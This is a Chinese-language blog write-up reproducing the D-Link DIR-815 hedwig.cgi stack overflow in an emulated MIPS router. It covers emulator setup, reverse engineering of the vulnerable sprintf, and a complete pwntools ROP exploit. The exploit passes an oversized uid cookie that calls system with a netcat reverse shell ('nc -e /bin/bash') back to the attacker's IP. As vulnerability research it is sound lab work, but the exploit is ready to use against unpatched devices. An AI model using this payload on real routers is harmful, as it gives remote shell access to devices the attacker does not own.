[mipsel&栈溢出]DIR815栈溢出

[mipsel&栈溢出]DIR815栈溢出

https://www.cnvd.org.cn/flaw/show/CNVD-2013-11625

主要参考winmt师傅的文章——[原创] 从零开始复现 DIR-815 栈溢出漏洞-二进制漏洞-看雪论坛-安全社区|非营利性质技术交流社区

主要溢出点:
image-20251111221527541

v20的来源是一个用户传入的post参数值(uid=xxxx...),没有长度检测,而overflow缓冲区只有0x400,所以存在栈溢出

image-20251111222047056

image-20251111222047056

仿真环境:

为了熟悉iot仿真,这个复现我是直接全程用的系统级仿真,所以也只记录系统级的复现流程了

仿真参考:
ubuntu宿主机 配置虚拟网卡和网桥

 

#sudo apt-get install bridge-utils
#sudo apt-get install uml-utilities # UML(User-mode linux)工具

sudo brctl addbr Virbr0
sudo ifconfig Virbr0 192.168.236.1/24 up
sudo tunctl -t tap0
sudo ifconfig tap0 192.168.236.126/24 up
sudo brctl addif Virbr0 tap0

qemu虚拟机 配置虚拟网卡ip地址

ifconfig <虚拟网卡名> 192.168.<网段>.2/24 up

测试网络配置

宿主机内ping虚拟机里配置的ip地址

然后就可以scp传入 固件内容了

scp -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa <文件源(为目录时加-r选项)> <root@<qemu虚拟机地址>:<目标目录>>

后面的部分则是参考了winmt师傅和这个师傅的文章——DIR-815 栈溢出漏洞复现 - cosyQAQ - 博客园

首先要写一个 http_conf 作为http服务的配置文件,放到 squashfs-root 目录下

#/http_conf
Umask 026
PIDFile /var/run/httpd.pid
LogGMT On  #开启log
ErrorLog /log #log文件

Tuning
{
NumConnections 15
BufSize 12288
InputBufSize 4096
ScriptBufSize 4096
NumHeaders 100
Timeout 60
ScriptTimeout 60
}

Control
{
Types
{
  text/html    { html htm }
  text/xml    { xml }
  text/plain    { txt }
  image/gif    { gif }
  image/jpeg    { jpg }
  text/css    { css }
  application/octet-stream { * }
}
Specials
{
  Dump        { /dump }
  CGI            { cgi }
  Imagemap    { map }
  Redirect    { url }
}
External
{
  /usr/sbin/phpcgi { php }
}
}


Server
{
ServerName "Linux, HTTP/1.1, "
ServerId "1234"
Family inet
Interface eth1  #对应qemu仿真路由器系统的网卡
Address 192.168.<虚拟机局域网网段>.<qemu虚拟机地址> #qemu仿真路由器系统的IP
Port "80" #对应未被使用的端口
Virtual
{
  AnyHost
  Control
  {
      Alias /
      Location /htdocs/web
      IndexNames { index.php }
      External
      {
          /usr/sbin/phpcgi { router_info.xml }
          /usr/sbin/phpcgi { post_login.xml }
      }
  }
  Control
  {
      Alias /HNAP1
      Location /htdocs/HNAP1
      External
      {
          /usr/sbin/hnap { hnap }
      }
      IndexNames { index.hnap }
  }
}
}

 

然后是 配置 Linux 系统的网络和防火墙,目的是使得系统能够进行网络转发和进行 NAT

#init.sh
#! /bin/sh
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t mangle -F
sudo iptables -t mangle -X
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -t nat -A POSTROUTING -o <宿主机网卡名> -j MASQUERADE
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT

然后是配置qemu的虚拟机的文件系统,让其接近路由器系统的环境
在qemu虚拟机的squashfs-root目录下创建init.sh的脚本进行初始化操作:

#!/bin/bash
echo 0 > /proc/sys/kernel/randomize_va_space
cp http_conf /
cp sbin/httpd /
cp -rf htdocs/ /
mkdir /etc_bak
cp -r /etc /etc_bak
rm /etc/services
cp -rf etc/ /
cp lib/ld-uClibc-0.9.30.1.so /lib/
cp lib/libcrypt-0.9.30.1.so /lib/
cp lib/libc.so.0 /lib/
cp lib/libgcc_s.so.1 /lib/
cp lib/ld-uClibc.so.0 /lib/
cp lib/libcrypt.so.0 /lib/
cp lib/libgcc_s.so /lib/
cp lib/libuClibc-0.9.30.1.so /lib/
cd /
rm -rf /htdocs/web/hedwig.cgi
rm -rf /usr/sbin/phpcgi
rm -rf /usr/sbin/hnap
ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi
ln -s /htdocs/cgibin /usr/sbin/phpcgi
ln -s /htdocs/cgibin /usr/sbin/hnap
./httpd -f http_conf

在qemu虚拟机的squashfs-root目录下创建fin.sh的脚本进行初始化操作:

nano fin.sh,写入下面这些配置

#!/bin/bash
rm -rf /etc
mv /etc_bak/etc /etc
rm -rf /etc_bak

init.sh:执行初始化操作,关闭地址空间随机化,复制必要的文件和库,备份和替换系统配置,启动 HTTP 服务。它的目标是为某个特定的应用或环境设置系统。
fin.sh:执行清理和恢复操作,删除更改过的系统配置,并将原始配置文件还原。这通常用于恢复到原始状态,为了清理操作或准备退出环境。

然后就可以尝试访问仿真环境的路由网页

download

image-20251111225838180

逆向

ida打开cgibin程序,找到hedwig.cgi对应的函数
image-20251111231307146

来到hedwigcgi_main函数,首先是一个请求方法的检查
image-20251111231602934
只接受 POST 方法,所以在攻击测试时要在启动脚本里加上 REQUEST_METHOD=POST

紧接着是一个 cgibin_parse_request(sub_409A6C, 0, 0x20000); 这里看不懂,先忽略

image-20251111233343384
然后是读取了一个文件的内容 /etc/config/image_sign
逻辑上是要求至少有这个文件才能继续走,但内容也就是 v26 似乎不重要
但是看了几篇文章似乎都没有提到这里,而且实测发现不调试的时候确实没问题,但是调试的时候就会被断,没懂为什么,所以最好是创建一个文件随便写点东西吧
image-20251112084921534断在fgets

再往后就是和利用点有关的调用了image-20251112090959290
这里是把v4这个指针传递给 sess_get_uid 函数 (v4类似于new出来的一个缓冲区对象image-20251112091140435)

sess_get_uid ai分析:

这个函数 sess_get_uid 主要用于从 HTTP 请求中的 HTTP_COOKIE 获取 uid 的值,并将其存储到传入的对象中。具体来说,它解析了 HTTP_COOKIE 中存储的键值对,查找名为 "uid" 的项,并将其值(如果存在的话)存储在 a1 指向的对象中。如果 uid 不存在,它将获取 REMOTE_ADDR(客户端的 IP 地址),并将其存储。

总结来说就是获取uid的内容,然后存到v4,这个uid的内容是用户自由控制的,也就变成了漏洞点的数据源

image-20251112091543737
然后就是获取v4内容并将其作为参数调用 sprintf 拼接url
前面uid也就是这里的string,内容长度无限制,而v27缓冲区空间为紧挨 $fp的0x400,可以溢出到栈帧部分image-20251112091737104

但是还得看后面有没有再次影响v27的逻辑

这里往后的过程的话,包括我这篇文章引用的两个师傅的文章的话,我感觉看到的很多文章都说是满足条件去用第二个sprintf也就是133行的那次栈溢出,但我尝试了下发现没必要等第二条sprintf,直接在这次sprintf之后利用后面对haystack的检测走错误处理分支,提前结束函数逻辑强制ret就可以了。
缺点是这样打实际上算是让服务报错宕机了,原来的打法貌似不会有报错信息的抛出

image-20251112221125337

image-20251112221125337

紧跟着的是打开 /var/tmp/temp.xml 这个文件,这个目录在真机上是存在的,所以咱们不能利用这里的错误分支

而再后面就是机会:image-20251112221258881只要让haystack为空指针这里就会走错误分支提前结束了

而在这之前能操作haystack的地方只有一个,就是前面忽略的 cgibin_parse_request 函数

这里如果偷鸡一点的话就是说:在其他人的打法中这里需要让haystack非空,所以就需要让几个关于响应体的环境变量非空,所以反过来说的话,就是让其中几个值为空就得了awa
比如:image-20251112222003763不管这俩变量,就ok了

稍微分析一下条件问题:

先在这个函数里找找有a1的地方,发现在这:fig:
所以就从这里开始往外找,发现首先是一个对 CONTENT_TYPE 变量的获取image-20251112223906942

就是说首先不能有CONTENT_TYPE,继续往外扩(其实到这就够了,最重要的就是不能有CONTENT_TYPE),发现是对一个变量的检查,往前找是哪来的

image-20251112224100262image-20251112224047490可以看到,这次是CONTENT_LENGTH,只要让它是0或者压根不管就可以了(这里的a3 大于 contLen就没办法了,a3是外面传过来的0x20000,肯定是没办法的)

如果要再往外一层的话,就是REQUEST_URL了
首先是在外一层这里有一个对v9的检查image-20251112224621413
v9是在这个函数的前半部分赋值的image-20251112224720560要REQUEST_URL为空,v9就会为-1,则后面的所有逻辑都不会进行,haystack就会保持空指针的状态了

总结下来就是: CONTENT_TYPE, CONTENT_LENTH, REQUEST_URL 三个环境变量,只要缺一个就能满足条件,所以咱就一个都别管了

回到主函数里,从haystack的错误分支处理往下看,首先是跳这里image-20251112225121897

然后是跳这里image-20251112225144861抛出报错响应体,然后结束进入返回阶段,没有任何问题

攻击

根据前面的分析,可以写出这样的运行脚本(在系统级qemu仿真环境里运行目标服务程序)

#!/bin/bash
export HTTP_COOKIE="uid=`cat payload`" #uid用来承载payload
export REQUEST_METHOD="POST" #满足主函数里的要求,请求方法要为POST
#echo "winmt=pwner"|./gdbserver.mipsel 192.168.171.126:6666 /htdocs/web/hedwig.cgi #调试
echo "winmt=pwner"|/htdocs/web/hedwig.cgi #不带调试
unset HTTP_COOKIE
unset REQUEST_METHOD

然后就写payload:

from pwn import *
context(os = 'linux', arch = 'mips', log_level = 'debug')

# 这里ip是ubuntu的ip地址,端口8888,进行监听
cmd = b'nc -e /bin/bash 192.168.171.126 8888'
# iot环境中需要反弹shell,由iot仿真环境向攻击机发起shell

libc_base = 0x77f34000 #因为真机没有aslr,所以可以直接调试看地址是多少

testPadding = '...' #cyclic生成,方便测试哪个ra, s0等寄存器都在什么位置

fd = open("payload", "wb") #把生成的payload放到文件里,然后scp传到仿真环境里
fd.write(payload)
fd.close()

主要目的是调用一个 system("nc -e /bin/bash <ip> <port>")

那么碰到的第一个问题是,这个固件的libc的system地址是00结尾的 image-20251112231449824
由于栈溢出漏洞点是sprintf,会被 \0 截断,所以要避免使用呆\0的地址(另外我发现这个程序貌似有些地方会做出将\0字节忽视然后将后面的字节接上不去的情况,想试的可以尝试正常写进去这个system地址,然后看看最低字节是不是变成padding字符了)
很容易想到的解决方案是把system地址加减n,然后利用gadget把它加减回去

所以就需要这样一个链子:
1.把放在栈上或者寄存器上的system地址加回去 2.把参数传到a0上 3.调用存到S系列寄存器的system地址
我这里就直接偷别的师傅的链子了awa:

gadget1
.text:00032A98 addiu $s0, 1
.text:00032A9C li $s2, 1
.text:00032AA0
.text:00032AA0 loc_32AA0: # CODE XREF: sub_32850:loc_32A88↑j
.text:00032AA0 move $t9, $s1
.text:00032AA4 jalr $t9

gadget2
.text:000169C4 addiu $s2, $sp, 0x18
.text:000169C8 move $a2, $v1
.text:000169CC move $t9, $s0
.text:000169D0 jalr $t9
.text:000169D4 move $a0, $s2

首先mips大多数函数都会保存恢复s系列寄存器的值,保存的位置自然是栈image-20251112232548193像这样

所以在能栈溢出时,最好的手段就是借 S 系列寄存器进一步的控制其他内容

所以上面第一段gadget中,总结来说是 S0 + 1 ;jalr S1
所以可以把&system-1放s0里,然后把第二段gadget地址放s1

第二段,a0 = sp+0x18; jalr s0 ,相当于是 s0( sp+0x18 ),s0 由刚才gadget1顺利加到system地址,再者就是sp+0x18的位置放 反弹shell命令 的参数了

为了精确知道咱们想控制的每个 栈地址 和 寄存器 会被payload的哪一段控制,我们可以 cyclic 1280 生成一段不重复字串测试

让函数走到返回的位置image-20251112233610508

然后看想要的几个寄存器都是什么image-20251112233707200
然后就可以去脚本里找这几个四字符在什么位置 (由于sp后面还有变动,为了准确我们可以放后面动)image-20251112234122797在对应位置填地址就行了
把地址补上然后调试看效果:

fig:
(跳第一段gadget)

fig:

(把s0加到system地址后,跳第二段gadget)
fig:

(设置参数然后跳system)

image-20251112235029838
这里就能看到system的参数落在kfaa的位置,同理替换即可

把调试关了运行run.sh,顺利发起shell

image-20251112235351211

image-20251112235351211

ROP打法EXP:

#makePl.py
from pwn import *
context(os = 'linux', arch = 'mips', log_level = 'debug')

# 这里ip是ubuntu的ip地址,端口8888,进行监听
cmd = b'nc -e /bin/bash 192.168.171.126 8888'

libc_base = 0x77f34000

payload = b'i'*1007
#kcaa s0
payload += p32(libc_base+0x53200-1)
#kdaa s1
payload += p32(libc_base+0x169c4)
payload += b'i'*28
#klaa ra
payload += p32(libc_base+0x32a98)
payload += b'i'*24
#ksaa param1
payload += cmd
fd = open("payload", "wb")
fd.write(payload)
fd.close()


# .text:00032A98 addiu $s0, 1
# .text:00032A9C li $s2, 1
# .text:00032AA0
# .text:00032AA0 loc_32AA0: # CODE XREF: sub_32850:loc_32A88↑j
# .text:00032AA0 move $t9, $s1
# .text:00032AA4 jalr $t9

# .text:000169C4 addiu $s2, $sp, 0x18
# .text:000169C8 move $a2, $v1
# .text:000169CC move $t9, $s0
# .text:000169D0 jalr $t9
# .text:000169D4 move $a0, $s2

run.sh同上

posted @ 2025-11-13 00:12  ink777  阅读(5)  评论(0)    收藏  举报